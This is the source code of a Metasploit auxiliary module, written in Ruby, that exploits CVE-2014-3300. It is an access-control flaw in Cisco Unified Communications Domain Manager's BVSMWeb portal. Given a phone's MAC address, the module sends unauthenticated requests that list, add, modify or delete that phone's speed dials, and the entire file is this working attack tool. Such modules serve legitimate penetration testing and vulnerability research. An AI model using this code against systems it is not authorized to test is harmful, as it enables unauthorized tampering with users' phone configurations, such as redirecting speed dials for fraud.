Path: blob/master/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',15'Description' => %q{16The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager17(CDM), before version 10, doesn't implement access control properly, which allows remote18attackers to modify user information. This module exploits the vulnerability to make19unauthorized speed dial entity manipulations.20},21'Author' => 'fozavci',22'References' => [23['CVE', '2014-3300'],24['BID', '68331']25],26'License' => MSF_LICENSE,27'Actions' => [28[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],29[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],30[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],31[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]32],33'DefaultAction' => 'List',34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options(43[44OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),45OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),46OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),47OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),48OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),49]50)51end5253def run54case action.name.upcase55when 'MODIFY'56modify57when 'DELETE'58delete59when 'ADD'60add61when 'LIST'62list63end64end6566def send_rcv(uri, vars_get)67uri = normalize_uri(target_uri.to_s, uri.to_s)68res = send_request_cgi(69{70'uri' => uri,71'method' => 'GET',72'vars_get' => vars_get73}74)7576if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/77return Exploit::CheckCode::Vulnerable, res78end7980print_error('Target appears not vulnerable!')81return Exploit::CheckCode::Safe, res82end8384def parse(res)85doc = REXML::Document.new(res.body)86names = []87phones = []8889list = doc.root.get_elements('DirectoryEntry')90list.each do |lst|91xlist = lst.get_elements('Name')92xlist.each { |l| names << (l[0]).to_s }93xlist = lst.get_elements('Telephone')94xlist.each { |l| phones << (l[0]).to_s }95end9697if names.empty?98print_status('No Speed Dial detected')99return100end101102names.size.times do |i|103info = ''104info << "Position: #{names[i].split(':')[0]}, "105info << "Name: #{names[i].split(':')[1]}, "106info << "Telephone: #{phones[i]}"107108print_good(info.to_s)109end110end111112def list113mac = datastore['MAC']114115print_status('Getting Speed Dials of the IP phone')116vars_get = {117'device' => "SEP#{mac}"118}119120status, res = send_rcv('speeddials.cgi', vars_get)121parse(res) unless status == Exploit::CheckCode::Safe122end123124def add125mac = datastore['MAC']126name = datastore['NAME']127position = datastore['POSITION']128telno = datastore['TELNO']129130print_status('Adding Speed Dial to the IP phone')131vars_get = {132'name' => name.to_s,133'telno' => telno.to_s,134'device' => "SEP#{mac}",135'entry' => position.to_s,136'mac' => mac.to_s137}138status, res = send_rcv('phonespeedialadd.cgi', vars_get)139140if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/141print_good("Speed Dial #{position} is added successfully")142elsif res && res.body && res.body.to_s =~ /exist/143print_error('Speed Dial is exist, change the position or choose modify!')144else145print_error("Speed Dial couldn't add!")146end147end148149def delete150mac = datastore['MAC']151position = datastore['POSITION']152153print_status('Deleting Speed Dial of the IP phone')154155vars_get = {156'entry' => position.to_s,157'device' => "SEP#{mac}"158}159160status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)161162if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/163print_good("Speed Dial #{position} is deleted successfully")164else165print_error('Speed Dial is not found!')166end167end168169def modify170mac = datastore['MAC']171name = datastore['NAME']172position = datastore['POSITION']173telno = datastore['TELNO']174175print_status('Deleting Speed Dial of the IP phone')176177vars_get = {178'entry' => position.to_s,179'device' => "SEP#{mac}"180}181182status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)183184if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/185print_good("Speed Dial #{position} is deleted successfully")186print_status('Adding Speed Dial to the IP phone')187188vars_get = {189'name' => name.to_s,190'telno' => telno.to_s,191'device' => "SEP#{mac}",192'entry' => position.to_s,193'mac' => mac.to_s194}195196status, res = send_rcv('phonespeedialadd.cgi', vars_get)197198if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/199print_good("Speed Dial #{position} is added successfully")200elsif res && res.body =~ /exist/201print_error('Speed Dial is exist, change the position or choose modify!')202else203print_error("Speed Dial couldn't add!")204end205else206print_error('Speed Dial is not found!')207end208end209end210211212